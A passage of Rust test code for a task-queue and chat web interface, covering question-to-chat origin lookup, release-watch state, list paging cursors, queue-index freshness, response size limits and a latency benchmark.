23555 );
23556 ui.questions.put(&mut q).unwrap();
23557 questions.push((q, expected, eligible));
23558 }
23559 for (node, reference, associated, eligible) in [
23560 (crate::reconcile::NODE, previous.id.as_str(), true, false),
23561 (
23562 crate::reconcile::NODE,
23563 previous.runs[0].as_str(),
23564 false,
23565 true,
23566 ),
23567 ("implement", previous.id.as_str(), false, false),
23568 ] {
23569 let mut q = Question::new(
23570 reference.into(),
23571 node.into(),
23572 crate::reconcile::SEAT.into(),
23573 "Reconcile".into(),
23574 String::new(),
23575 vec![],
23576 );
23577 ui.questions.put(&mut q).unwrap();
23578 questions.push((q, associated, eligible));
23579 }
23580 let mut release = Question::new(
23581 "release-record".into(),
23582 crate::bump::NOTICE_NODE.into(),
23583 "release-watch".into(),
23584 "Release".into(),
23585 String::new(),
23586 vec![],
23587 );
23588 ui.questions.put(&mut release).unwrap();
23589 let watch = crate::release_watch::WatchState {
23590 question: Some(release.id.clone()),
23591 run: Some(previous.runs[0].clone()),
23592 held_task: Some(previous.id.clone()),
23593 ..Default::default()
23594 };
23595 let watch_dir = home.path().join("release-watch");
23596 std::fs::create_dir_all(&watch_dir).unwrap();
23597 let watch_path = watch_dir.join("watch.json");
23598 std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
23599 for batch in [
23601 Vec::new(),
23602 questions.iter().map(|(q, _, _)| q.clone()).collect(),
23603 ] {
23604 let (_, _, watches) = question_origin_inputs(&ui, &batch).unwrap();
23605 assert!(watches.is_empty());
23606 }
23607 questions.push((release.clone(), true, false));
23608
23609 let views = questions_list(State(ui.clone())).await.unwrap().0;
23610 let origins = question_origins(State(ui.clone())).await.unwrap().0;
23611 for (q, associated, eligible) in &questions {
23612 let view = views.iter().find(|view| view.question.id == q.id).unwrap();
23613 let origin = origins.iter().find(|view| view.id == q.id).unwrap();
23614 let expected = associated.then_some(chat.as_str());
23615 assert_eq!(
23616 view.origin_chat.as_deref(),
23617 expected,
23618 "{} {}",
23619 q.node,
23620 q.run
23621 );
23622 assert_eq!(origin.origin_chat.as_deref(), expected);
23623 assert_eq!(view.origin_chat_closed, *associated);
23624 assert_eq!(origin.origin_chat_closed, *associated);
23625 assert_eq!(view.can_consult_chat, *eligible, "{} {}", q.node, q.run);
23626 assert_eq!(origin.can_consult_chat, *eligible);
23627 }
23628 for (run, held_task) in [(watch.run.clone(), None), (None, watch.held_task.clone())] {
23630 let link = crate::release_watch::WatchState {
23631 run,
23632 held_task,
23633 ..watch.clone()
23634 };
23635 std::fs::write(&watch_path, serde_json::to_vec(&link).unwrap()).unwrap();
23636 let (tasks, talks, watches) =
23637 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
23638 assert_eq!(
23639 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
23640 .unwrap()
23641 .id,
23642 chat,
23643 );
23644 assert!(crate::consult::origin_talk(&tasks, &talks, &release).is_none());
23645 }
23646 std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
23647 let duplicate_path = watch_dir.join("duplicate.json");
23649 std::fs::write(&duplicate_path, serde_json::to_vec(&watch).unwrap()).unwrap();
23650 let (tasks, talks, watches) =
23651 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
23652 assert!(
23653 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
23654 .is_none()
23655 );
23656 std::fs::remove_file(duplicate_path).unwrap();
23657 let mut unrelated = Task::new(
23659 "other".into(),
23660 String::new(),
23661 PathBuf::from("/repo"),
23662 Source::Human,
23663 );
23664 unrelated.id = "unrelated-task".into();
23665 ui.queue.put(&mut unrelated).unwrap();
23666 let mut conflicting = watch.clone();
23667 conflicting.held_task = Some(unrelated.id);
23668 std::fs::write(
23669 watch_dir.join("conflict.json"),
23670 serde_json::to_vec(&conflicting).unwrap(),
23671 )
23672 .unwrap();
23673 let (tasks, talks, watches) =
23674 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
23675 assert!(
23676 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
23677 .is_none()
23678 );
23679 std::fs::remove_file(watch_dir.join("conflict.json")).unwrap();
23680 std::fs::remove_file(ui.talks.path_of(&chat)).unwrap();
23681 for origin in question_origins(State(ui.clone())).await.unwrap().0 {
23682 assert!(origin.origin_chat.is_none());
23683 assert!(!origin.origin_chat_closed);
23684 }
23685 }
23686
23687 #[test]
23688 fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
23689 let home = tempfile::tempdir().unwrap();
23690 let ui = delta_test_ui(home.path());
23691 let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
23692 for i in 0..1000 {
23693 let mut task = Task::new(
23694 "unrelated".into(),
23695 "instruction ".repeat(256),
23696 PathBuf::from("/repo"),
23697 Source::Human,
23698 );
23699 task.id = format!("history-{i:04}");
23700 ui.queue.put(&mut task).unwrap();
23701 let id = seed_talk_at(&ui.talks, &task.id, "open");
23702 let mut talk = ui.talks.get(&id).unwrap();
23703 talk.pending = "history ".repeat(256);
23704 ui.talks.put(&mut talk).unwrap();
23705 }
23706 let mut parent = Task::new(
23707 "parent".into(),
23708 "body".into(),
23709 PathBuf::from("/repo"),
23710 Source::Agent {
23711 run: chat_id.clone(),
23712 node: crate::queue::CHAT_NODE.into(),
23713 },
23714 );
23715 parent.id = "task-parent".into();
23716 parent.runs = vec!["run-parent".into()];
23717 ui.queue.put(&mut parent).unwrap();
23718 let mut child = Task::new(
23719 "child".into(),
23720 "body".into(),
23721 PathBuf::from("/repo"),
23722 Source::Human,
23723 );
23724 child.id = "task-child".into();
23725 child.runs = vec!["run-child".into()];
23726 child.followup = Some(crate::queue::FollowUp {
23727 run: "run-parent".into(),
23728 origin_task: Some(parent.id.clone()),
23729 pr: "https://example.invalid/pr/1".into(),
23730 findings: vec![],
23731 generation: 1,
23732 });
23733 ui.queue.put(&mut child).unwrap();
23734 let mut question = Question::new(
23735 child.id.clone(),
23736 crate::conduct::NODE.into(),
23737 "seat".into(),
23738 "Continue?".into(),
23739 String::new(),
23740 vec![],
23741 );
23742 let (tasks, talks, _watches) =
23743 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23744 assert_eq!(tasks.len(), 2);
23745 assert_eq!(talks.len(), 1);
23746 assert_eq!(
23747 ui.monitor.queue_index.lock().unwrap().reparsed,
23748 0,
23749 "exact ancestry bypasses the index"
23750 );
23751 assert_eq!(
23752 crate::consult::origin_talk(&tasks, &talks, &question)
23753 .unwrap()
23754 .id,
23755 chat_id
23756 );
23757 question.run = "run-child".into();
23758 question.node = "review".into();
23759 for origin_task in [Some(parent.id.clone()), None] {
23760 child.followup.as_mut().unwrap().origin_task = origin_task;
23761 ui.queue.put(&mut child).unwrap();
23762 let (tasks, talks, _watches) =
23763 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23764 let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
23765 let expected =
23766 crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
23767 .unwrap();
23768 assert_eq!(actual.id, expected.id);
23769 assert!(!actual.status.open());
23770 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
23771 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23772 let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
23775 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
23776 }
23777 child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
23778 ui.queue.put(&mut child).unwrap();
23779 std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
23780 let (tasks, talks, _watches) =
23781 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23782 assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
23783 child.origin_chat = Some(chat_id.clone());
23784 ui.queue.put(&mut child).unwrap();
23785 let (tasks, talks, _watches) =
23786 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23787 assert_eq!(
23788 crate::consult::origin_talk(&tasks, &talks, &question)
23789 .unwrap()
23790 .id,
23791 chat_id
23792 );
23793 let revision = question_record_revision(&question);
23794 question.abandon("settled elsewhere");
23795 assert_ne!(revision, question_record_revision(&question));
23796 assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
23797 assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
23798 std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
23799 let (tasks, talks, _watches) =
23800 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23801 assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
23802 }
23803
23804 #[test]
23805 fn list_cursors_freeze_membership_and_expire_explicitly() {
23806 let home = tempfile::tempdir().unwrap();
23807 let ui = delta_test_ui(home.path());
23808 std::fs::create_dir_all(ui.queue.root()).unwrap();
23809 for i in 0..40 {
23810 std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
23811 }
23812 let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
23813 assert_eq!(first.len(), STORE_PAGE_SIZE);
23814 let cursor = cursor.unwrap();
23815 std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
23816 std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
23817 let (second, _) = page_ids(
23818 &ui,
23819 false,
23820 PageQuery {
23821 before: Some(cursor.clone()),
23822 },
23823 )
23824 .unwrap();
23825 assert_eq!(second[0], "record-0023");
23826 assert!(second.iter().all(|id| !first.contains(id)));
23827 assert!(
23828 page_ids(
23829 &ui,
23830 true,
23831 PageQuery {
23832 before: Some(cursor.clone())
23833 }
23834 )
23835 .is_err()
23836 );
23837 let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
23838 assert_eq!(fresh[0], "record-9999");
23839 ui.monitor.list_walks.lock().unwrap().clear();
23840 assert!(
23841 page_ids(
23842 &ui,
23843 false,
23844 PageQuery {
23845 before: Some(cursor)
23846 }
23847 )
23848 .is_err()
23849 );
23850 }
23851
23852 #[tokio::test]
23853 async fn stats_queue_index_counts_only_fresh_readable_statuses() {
23854 let home = tempfile::tempdir().unwrap();
23855 let ui = delta_test_ui(home.path());
23856 let mut task = Task::new(
23857 "task".into(),
23858 "body".into(),
23859 PathBuf::from("/repo"),
23860 Source::Human,
23861 );
23862 ui.queue.put(&mut task).unwrap();
23863 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
23864 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
23865 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
23866 let expected = parsed + usize::from(!cfg!(unix));
23867 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
23868 task.status = crate::queue::TaskStatus::Held;
23869 ui.queue.put(&mut task).unwrap();
23870 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
23871 std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
23872 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
23873 ui.queue.put(&mut task).unwrap();
23874 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
23875 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
23876 assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
23877 }
23878
23879 #[tokio::test]
23880 async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
23881 let home = tempfile::tempdir().unwrap();
23882 let ui = delta_test_ui(home.path());
23883 *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
23884 let before = health(State(ui.clone())).await.unwrap().0;
23885 ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
23886 let after = health(State(ui)).await.unwrap().0;
23887 assert_ne!(before.notifications_rev, after.notifications_rev);
23888 assert_eq!(after.notifications_unread, 1);
23889 }
23890
23891 #[tokio::test]
23892 async fn list_pages_bound_history_and_keep_dependency_evidence() {
23893 let home = tempfile::tempdir().unwrap();
23894 let ui = delta_test_ui(home.path());
23895 let queue = &ui.queue;
23896 let talks = &ui.talks;
23897 for i in 0..1000 {
23898 let id = format!("20261019-{i:06}-page");
23899 let mut task = Task::new(
23900 "task".into(),
23901 "instruction".repeat(100),
23902 PathBuf::from("/repo/magi"),
23903 Source::Human,
23904 );
23905 task.id = id.clone();
23906 if i == 0 {
23907 task.status = crate::queue::TaskStatus::Held;
23908 } else if i == 999 {
23909 task.status = crate::queue::TaskStatus::Blocked;
23910 task.blocked_by = vec!["20261019-000000-page".into()];
23911 }
23912 queue.put(&mut task).unwrap();
23913 seed_talk_at(talks, &id, "open");
23914 }
23915 let page = serde_json::to_value(
23916 queue_page(State(ui.clone()), Query(PageQuery::default()))
23917 .await
23918 .unwrap()
23919 .0,
23920 )
23921 .unwrap();
23922 assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
23923 assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
23924 assert!(
23925 !page["rows"][0]["stuck_roots"]
23926 .as_array()
23927 .unwrap()
23928 .is_empty()
23929 );
23930 let cursor = page["next"].as_str().unwrap();
23931 let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
23932 .as_str()
23933 .unwrap();
23934 std::fs::remove_file(queue.path_of(last_id)).unwrap();
23936 let next = serde_json::to_value(
23937 queue_page(
23938 State(ui.clone()),
23939 Query(PageQuery {
23940 before: Some(cursor.into()),
23941 }),
23942 )
23943 .await
23944 .unwrap()
23945 .0,
23946 )
23947 .unwrap();
23948 assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
23949 assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
23950 let chats = serde_json::to_value(
23951 talks_page(State(ui.clone()), Query(PageQuery::default()))
23952 .await
23953 .unwrap()
23954 .0,
23955 )
23956 .unwrap();
23957 assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
23958 assert!(chats["rows"][0].get("pending").is_none());
23959 assert!(chats["rows"][0].get("turn_bodies_md").is_none());
23960 let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
23961 assert_eq!(counts["held"], 1);
23962 assert_eq!(counts["blocked"], 1);
23963 assert_eq!(counts["queued"], 997);
23964 }
23965
23966 #[test]
23967 fn queue_index_observes_external_replacement_deletion_and_corruption() {
23968 let dir = tempfile::tempdir().unwrap();
23969 let ui = delta_test_ui(dir.path());
23970 let mut task = Task::new(
23971 "task".into(),
23972 "body".into(),
23973 PathBuf::from("/repo"),
23974 Source::Human,
23975 );
23976 task.runs = vec!["run-a".into()];
23977 ui.queue.put(&mut task).unwrap();
23978 assert!(ui.find_task_for_run("run-a").unwrap().is_some());
23979 task.runs = vec!["run-b".into()];
23980 let path = ui.queue.path_of(&task.id);
23981 let modified = path.metadata().unwrap().modified().unwrap();
23982 let replacement = path.with_extension("replacement");
23983 let bytes = serde_json::to_vec_pretty(&task).unwrap();
23984 assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
23985 std::fs::write(&replacement, &bytes).unwrap();
23986 std::fs::File::options()
23987 .write(true)
23988 .open(&replacement)
23989 .unwrap()
23990 .set_times(std::fs::FileTimes::new().set_modified(modified))
23991 .unwrap();
23992 std::fs::rename(&replacement, &path).unwrap();
23993 assert!(ui.find_task_for_run("run-a").unwrap().is_none());
23994 assert!(ui.find_task_for_run("run-b").unwrap().is_some());
23995 std::fs::write(&path, "broken").unwrap();
23996 assert!(ui.find_task_for_run("run-b").is_err());
23997 std::fs::write(&path, bytes).unwrap();
23998 assert!(ui.find_task_for_run("run-b").unwrap().is_some());
23999 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
24000 assert!(ui.find_task_for_run("run-b").unwrap().is_none());
24001 }
24002
24003 #[tokio::test]
24004 async fn conversation_core_is_independent_of_unreadable_related_history() {
24005 let home = tempfile::tempdir().unwrap();
24006 let ui = delta_test_ui(home.path());
24007 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24008 std::fs::create_dir_all(ui.queue.root()).unwrap();
24009 std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
24010 let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
24011 .await
24012 .unwrap();
24013 assert_eq!(core.talk.id, id);
24014 assert!(talk_sections(State(ui), Path(id)).await.is_ok());
24015 }
24016
24017 #[tokio::test]
24018 async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
24019 let home = tempfile::tempdir().unwrap();
24020 let ui = delta_test_ui(home.path());
24021 let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24022 let mut run = RunState::new(
24023 PathBuf::from("/repo"),
24024 "main".into(),
24025 "01234567".into(),
24026 "Useful run".into(),
24027 Config::default(),
24028 );
24029 run.save_under(home.path()).unwrap();
24030 let mut task = Task::new(
24031 "Related".into(),
24032 "body".into(),
24033 PathBuf::from("/repo"),
24034 Source::Agent {
24035 run: talk_id.clone(),
24036 node: "chat".into(),
24037 },
24038 );
24039 task.runs = vec![run.id.clone()];
24040 ui.queue.put(&mut task).unwrap();
24041 std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
24042 assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
24043 assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
24044 assert!(
24045 run_detail(State(ui.clone()), Path(run.id.clone()))
24046 .await
24047 .is_ok()
24048 );
24049 assert!(
24050 talk_sections(State(ui.clone()), Path(talk_id.clone()))
24051 .await
24052 .is_ok()
24053 );
24054 std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
24056 assert!(ui.find_task_for_run(&run.id).is_err());
24057 assert!(ui.find_tasks_for_talk(&talk_id).is_err());
24058 ui.queue.put(&mut task).unwrap();
24059 assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
24060 }
24061
24062 #[tokio::test]
24063 async fn conversation_sections_omit_large_task_instructions() {
24064 let home = tempfile::tempdir().unwrap();
24065 let ui = delta_test_ui(home.path());
24066 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24067 let mut task = Task::new(
24068 "filed task".into(),
24069 "large instruction ".repeat(65536),
24070 PathBuf::from("/repo"),
24071 Source::Agent {
24072 run: id.clone(),
24073 node: "chat".into(),
24074 },
24075 );
24076 ui.queue.put(&mut task).unwrap();
24077 let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
24078 assert_eq!(sections["tasks"][0]["id"], task.id);
24079 assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
24080 assert!(sections["tasks"][0].get("instruction").is_none());
24081 assert!(serde_json::to_vec(§ions).unwrap().len() < 8192);
24082 }
24083
24084 #[test]
24085 fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
24086 let home = tempfile::tempdir().unwrap();
24087 let talks = Talks::at(home.path().join("talks"));
24088 seed_talk_at(&talks, "20261019-000001-abcd", "open");
24089 seed_talk_at(&talks, "20261019-000002-abcd", "open");
24090 std::fs::write(home.path().join("outside.json"), "{}").unwrap();
24091 assert!(resolve_talk(&talks, "../outside").is_err());
24092 assert!(resolve_talk(&talks, "abcd").is_err());
24093 assert_eq!(
24094 resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
24095 "20261019-000001-abcd"
24096 );
24097 }
24098
24099 include!(concat!(
24100 env!("CARGO_MANIFEST_DIR"),
24101 "/tests/web_latency/baseline.rs"
24102 ));
24103
24104 include!(concat!(
24105 env!("CARGO_MANIFEST_DIR"),
24106 "/tests/web_latency/lists.rs"
24107 ));
24108
24109 #[tokio::test]
24110 #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
24111 async fn web_history_latency_measurement() {
24112 use std::time::Instant;
24113 let home = tempfile::tempdir().unwrap();
24114 let ui = delta_test_ui(home.path());
24115 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24116 let mut template = ui.talks.get(&id).unwrap();
24117 template.turns = serde_json::from_value(serde_json::json!([{
24118 "who": "operator", "body": "Show the accumulated work and its current status.",
24119 "at": Timestamp::now().to_string(),
24120 }]))
24121 .unwrap();
24122 std::fs::write(
24123 ui.talks.path_of(&id),
24124 serde_json::to_vec(&template).unwrap(),
24125 )
24126 .unwrap();
24127 let count = std::env::var("MAGI_BENCH_RECORDS")
24128 .ok()
24129 .and_then(|s| s.parse::<usize>().ok())
24130 .unwrap_or(1000);
24131 for i in 0..count {
24132 template.id = format!("20261019-{i:06}-history");
24133 template.pending = "history ".repeat(2048);
24134 std::fs::write(
24135 ui.talks.path_of(&template.id),
24136 serde_json::to_vec(&template).unwrap(),
24137 )
24138 .unwrap();
24139 let mut task = Task::new(
24140 "old task".into(),
24141 "instruction ".repeat(2048),
24142 PathBuf::from("/repo"),
24143 Source::Human,
24144 );
24145 task.id = format!("20261019-{i:06}-task");
24146 ui.queue.put(&mut task).unwrap();
24147 }
24148 for baseline in [true, false] {
24149 for clients in [1, 4] {
24150 let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
24151 let mut samples = Vec::new();
24152 for _ in 0..12 {
24153 let mut jobs = Vec::new();
24154 for _ in 0..clients {
24155 let ui = ui.clone();
24156 let id = id.clone();
24157 jobs.push(tokio::spawn(async move {
24158 let start = Instant::now();
24159 if baseline {
24160 let response =
24161 baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
24162 let elapsed = start.elapsed().as_secs_f64() * 1000.0;
24163 return (
24164 elapsed,
24165 elapsed,
24166 serde_json::to_vec(&response).unwrap().len(),
24167 );
24168 }
24169 let core = talk_core(State(ui.clone()), Path(id.clone()));
24170 let secondary = talk_sections(State(ui), Path(id));
24171 let (first, total) = tokio::join!(
24172 async {
24173 let value = core.await.unwrap().0;
24174 (
24175 start.elapsed().as_secs_f64() * 1000.0,
24176 serde_json::to_vec(&value).unwrap().len(),
24177 )
24178 },
24179 async {
24180 let value = secondary.await.unwrap().0;
24181 (
24182 start.elapsed().as_secs_f64() * 1000.0,
24183 serde_json::to_vec(&value).unwrap().len(),
24184 )
24185 }
24186 );
24187 (first.0, first.0.max(total.0), first.1 + total.1)
24188 }));
24189 }
24190 for job in jobs {
24191 samples.push(job.await.unwrap());
24192 }
24193 }
24194 let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
24195 let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
24196 first.sort_by(f64::total_cmp);
24197 total.sort_by(f64::total_cmp);
24198 let n = first.len();
24199 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
24200 println!(
24201 "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
24202 first[n / 2],
24203 first[(n * 95 / 100).min(n - 1)],
24204 total[n / 2],
24205 total[(n * 95 / 100).min(n - 1)],
24206 samples[0].2
24207 );
24208 }
24209 }
24210 }
24211
24212 #[test]
24213 fn app_js_contains_progressive_rendering_and_decoupled_reports() {
24214 assert!(!APP_JS.contains("Promise.allSettled([\n getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
24216 assert!(APP_JS.contains("function nextRunRequest(id)"));
24217 assert!(APP_JS.contains("function runShell(id, summary)"));
24218 assert!(APP_JS.contains("function nextTaskRequest(id)"));
24219 assert!(APP_JS.contains("function taskShell(id, summary)"));
24220 assert!(APP_JS.contains("state.detail.reportLoading = false;"));
24221 }
24222}